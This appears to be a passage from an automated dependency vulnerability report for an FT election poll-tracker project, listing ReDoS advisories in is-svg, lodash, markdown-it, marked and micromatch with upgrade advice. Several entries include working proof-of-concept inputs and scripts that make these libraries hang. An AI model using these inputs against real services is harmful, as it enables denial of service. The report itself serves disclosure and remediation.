The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.2.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to cssnano@4.0.0.

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.

PoC by Yeting Li

//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack1(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//2) 2nd ReDoS caused by ? the first sub-regex  \s*  in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack2(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}


//3rd ReDoS caused by the sub-regex \s+\S*\s*  in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack3(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+  in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack4(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.3.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: markdown-it
  • Introduced through: g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates markdown-it@7.0.1

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity. Parsing *_*_*_… takes quadratic time, this could be a denial of service vulnerability in an application that parses user input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 10.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: markdown-it
  • Introduced through: g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates markdown-it@7.0.1

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the /s+$/ in line 23 of lib/rules_inline/newline.js. This expression is used to remove trailing whitespaces from a string, however, it also matches non-trailing whitespaces. In the worst-case scenario, the matching process would take computation time proportional to the square of the length of the non-trailing whitespaces. It is possible that a string containing more than tens of thousands characters, as markdown-it handles Markdown, would be passed over the network, resulting in significant computational time.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 12.3.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD marked@0.3.19
    Remediation: Upgrade to marked@0.6.2.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex may take quadratic time to scan for potential email addresses starting at every point.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.6.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD marked@0.3.19
    Remediation: Upgrade to marked@4.0.10.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch, if it is not being parsed by a time-limited worker thread.

PoC

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 4.0.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD marked@0.3.19
    Remediation: Upgrade to marked@4.0.10.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def.

PoC

import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 4.0.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD marked@0.3.19
    Remediation: Upgrade to marked@0.4.0.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading regex.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.4.0 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: exhibit-plugin-browserify@0.10.1, sequelize-cli@2.8.0 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 micromatch@2.3.11
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 findup-sync@1.0.0 micromatch@2.3.11
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sane@1.7.0 anymatch@1.3.2 micromatch@2.3.11
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11
    Remediation: Upgrade to nunjucks@3.2.3.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11
